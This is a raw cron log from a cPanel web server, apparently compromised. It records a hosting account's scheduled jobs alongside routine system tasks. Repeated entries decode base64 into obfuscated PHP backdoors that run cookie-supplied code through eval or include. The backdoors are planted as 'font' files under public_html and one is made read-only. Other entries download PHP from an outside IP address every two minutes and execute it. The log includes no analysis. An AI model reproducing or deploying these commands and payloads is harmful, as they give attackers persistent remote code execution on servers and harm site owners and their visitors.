Feb 22 05:49:01 ip-184-168-122-23 CROND[31079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:49:01 ip-184-168-122-23 CROND[31078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:49:01 ip-184-168-122-23 CROND[31081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:49:01 ip-184-168-122-23 CROND[31080]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:50:01 ip-184-168-122-23 CROND[31434]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 05:50:01 ip-184-168-122-23 CROND[31435]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 05:50:01 ip-184-168-122-23 CROND[31438]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 05:50:01 ip-184-168-122-23 CROND[31439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:50:01 ip-184-168-122-23 CROND[31441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:50:01 ip-184-168-122-23 CROND[31442]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 05:50:01 ip-184-168-122-23 CROND[31444]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 05:50:01 ip-184-168-122-23 CROND[31443]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:50:01 ip-184-168-122-23 CROND[31446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:51:01 ip-184-168-122-23 CROND[31774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:51:01 ip-184-168-122-23 CROND[31777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:51:01 ip-184-168-122-23 CROND[31778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:51:01 ip-184-168-122-23 CROND[31776]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:52:02 ip-184-168-122-23 CROND[32110]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:52:02 ip-184-168-122-23 CROND[32114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:52:02 ip-184-168-122-23 CROND[32112]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 05:52:02 ip-184-168-122-23 CROND[32113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:52:02 ip-184-168-122-23 CROND[32115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:53:01 ip-184-168-122-23 CROND[32463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:53:01 ip-184-168-122-23 CROND[32464]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:53:01 ip-184-168-122-23 CROND[32467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:53:01 ip-184-168-122-23 CROND[32466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:54:01 ip-184-168-122-23 CROND[420]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:54:01 ip-184-168-122-23 CROND[422]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 05:54:01 ip-184-168-122-23 CROND[424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:54:01 ip-184-168-122-23 CROND[425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:54:01 ip-184-168-122-23 CROND[423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:55:02 ip-184-168-122-23 CROND[826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:55:02 ip-184-168-122-23 CROND[827]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 05:55:02 ip-184-168-122-23 CROND[829]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 05:55:02 ip-184-168-122-23 CROND[831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:55:02 ip-184-168-122-23 CROND[832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:55:02 ip-184-168-122-23 CROND[833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:56:01 ip-184-168-122-23 CROND[1174]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:56:01 ip-184-168-122-23 CROND[1175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:56:01 ip-184-168-122-23 CROND[1177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:56:01 ip-184-168-122-23 CROND[1178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:56:01 ip-184-168-122-23 CROND[1176]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 05:57:01 ip-184-168-122-23 CROND[1521]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:57:01 ip-184-168-122-23 CROND[1525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:57:01 ip-184-168-122-23 CROND[1524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:57:01 ip-184-168-122-23 CROND[1523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:58:01 ip-184-168-122-23 CROND[1883]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 05:58:01 ip-184-168-122-23 CROND[1885]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:58:01 ip-184-168-122-23 CROND[1886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:58:01 ip-184-168-122-23 CROND[1887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:58:01 ip-184-168-122-23 CROND[1888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:59:01 ip-184-168-122-23 CROND[2241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:59:01 ip-184-168-122-23 CROND[2242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:59:01 ip-184-168-122-23 CROND[2245]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:59:01 ip-184-168-122-23 CROND[2249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:00:01 ip-184-168-122-23 CROND[2648]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 06:00:01 ip-184-168-122-23 CROND[2649]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 06:00:01 ip-184-168-122-23 CROND[2652]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 06:00:01 ip-184-168-122-23 CROND[2655]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 06:00:01 ip-184-168-122-23 CROND[2660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:00:01 ip-184-168-122-23 CROND[2661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:00:01 ip-184-168-122-23 CROND[2664]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Feb 22 06:00:01 ip-184-168-122-23 CROND[2662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:00:01 ip-184-168-122-23 CROND[2665]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:00:01 ip-184-168-122-23 CROND[2666]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Feb 22 06:01:01 ip-184-168-122-23 CROND[3017]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 06:01:01 ip-184-168-122-23 CROND[3019]: (root) CMD (run-parts /etc/cron.hourly)
